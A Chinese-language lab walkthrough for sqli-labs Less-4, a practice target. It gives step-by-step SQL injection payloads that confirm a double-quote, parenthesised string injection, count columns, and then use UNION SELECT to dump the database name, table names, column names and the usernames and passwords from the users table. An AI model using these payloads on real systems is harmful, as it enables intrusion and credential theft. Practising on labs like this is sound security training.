[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
heart000_121 分钟前
MySQL事务与锁机制详解:确保数据一致性的关键【MySQL系列】
数据库·mysql
一眼青苔26 分钟前
MySQL 如何判断某个表中是否存在某个字段
数据库·mysql
西柚小萌新1 小时前
【大模型:知识图谱】--3.py2neo连接图数据库neo4j
数据库·知识图谱·neo4j
wangfenglei1234561 小时前
mybatis打印完整的SQL,p6spy
数据库·sql·mybatis
__风__1 小时前
PostgreSQL ERROR: out of shared memory处理
数据库·postgresql
占星安啦1 小时前
一个html实现数据库自定义查询
java·前端·javascript·数据库·动态查询
天空之城夢主2 小时前
MySQL 全量、增量备份与恢复
数据库·mysql·oracle
Elastic 中国社区官方博客2 小时前
连接关键点:使用 ES|QL 联接实现更丰富的可观测性洞察
大数据·数据库·sql·elasticsearch·搜索引擎·全文检索
元闰子2 小时前
AI Agent需要什么样的数据库?
数据库·人工智能·后端
什么都想学的阿超2 小时前
【PostgreSQL 02】PostgreSQL数据类型革命:JSON、数组与地理信息让你的应用飞起来
数据库·postgresql·json